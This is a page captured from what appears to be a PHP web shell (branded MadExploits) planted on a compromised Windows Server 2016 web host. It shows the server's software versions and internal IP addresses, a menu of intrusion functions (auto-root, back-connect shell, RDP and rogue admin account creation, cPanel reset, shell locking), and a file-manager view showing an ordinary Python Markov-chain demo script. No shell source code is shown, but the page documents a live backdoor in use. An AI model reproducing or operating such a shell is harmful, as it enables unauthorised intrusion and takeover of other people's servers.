Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
laragon /
bin /
python /
python-3.10 /
Tools /
demo /
[ HOME SHELL ]
Name
Size
Permission
Action
__pycache__
[ DIR ]
drwxrwxrwx
beer.py
591
B
-rw-rw-rw-
eiffel.py
3.96
KB
-rw-rw-rw-
hanoi.py
4.65
KB
-rw-rw-rw-
life.py
9.03
KB
-rw-rw-rw-
markov.py
3.73
KB
-rw-rw-rw-
mcast.py
2.25
KB
-rw-rw-rw-
queens.py
2.3
KB
-rw-rw-rw-
redemo.py
5.78
KB
-rw-rw-rw-
rpython.py
848
B
-rw-rw-rw-
rpythond.py
1.35
KB
-rw-rw-rw-
sortvisu.py
20.14
KB
-rw-rw-rw-
spreadsheet.py
25.83
KB
-rw-rw-rw-
vector.py
1.92
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : markov.py
#!/usr/bin/env python3 """ Markov chain simulation of words or characters. """ class Markov: def __init__(self, histsize, choice): self.histsize = histsize self.choice = choice self.trans = {} def add(self, state, next): self.trans.setdefault(state, []).append(next) def put(self, seq): n = self.histsize add = self.add add(None, seq[:0]) for i in range(len(seq)): add(seq[max(0, i-n):i], seq[i:i+1]) add(seq[len(seq)-n:], None) def get(self): choice = self.choice trans = self.trans n = self.histsize seq = choice(trans[None]) while True: subseq = seq[max(0, len(seq)-n):] options = trans[subseq] next = choice(options) if not next: break seq += next return seq def test(): import sys, random, getopt args = sys.argv[1:] try: opts, args = getopt.getopt(args, '0123456789cdwq') except getopt.error: print('Usage: %s [-#] [-cddqw] [file] ...' % sys.argv[0]) print('Options:') print('-#: 1-digit history size (default 2)') print('-c: characters (default)') print('-w: words') print('-d: more debugging output') print('-q: no debugging output') print('Input files (default stdin) are split in paragraphs') print('separated blank lines and each paragraph is split') print('in words by whitespace, then reconcatenated with') print('exactly one space separating words.') print('Output consists of paragraphs separated by blank') print('lines, where lines are no longer than 72 characters.') sys.exit(2) histsize = 2 do_words = False debug = 1 for o, a in opts: if '-0' <= o <= '-9': histsize = int(o[1:]) if o == '-c': do_words = False if o == '-d': debug += 1 if o == '-q': debug = 0 if o == '-w': do_words = True if not args: args = ['-'] m = Markov(histsize, random.choice) try: for filename in args: if filename == '-': f = sys.stdin if f.isatty(): print('Sorry, need stdin from file') continue else: f = open(filename, 'r') with f: if debug: print('processing', filename, '...') text = f.read() paralist = text.split('\n\n') for para in paralist: if debug > 1: print('feeding ...') words = para.split() if words: if do_words: data = tuple(words) else: data = ' '.join(words) m.put(data) except KeyboardInterrupt: print('Interrupted -- continue with data read so far') if not m.trans: print('No valid input files') return if debug: print('done.') if debug > 1: for key in m.trans.keys(): if key is None or len(key) < histsize: print(repr(key), m.trans[key]) if histsize == 0: print(repr(''), m.trans['']) print() while True: data = m.get() if do_words: words = data else: words = data.split() n = 0 limit = 72 for w in words: if n + len(w) > limit: print() n = 0 print(w, end=' ') n += len(w) + 1 print() print() if __name__ == "__main__": test()
Close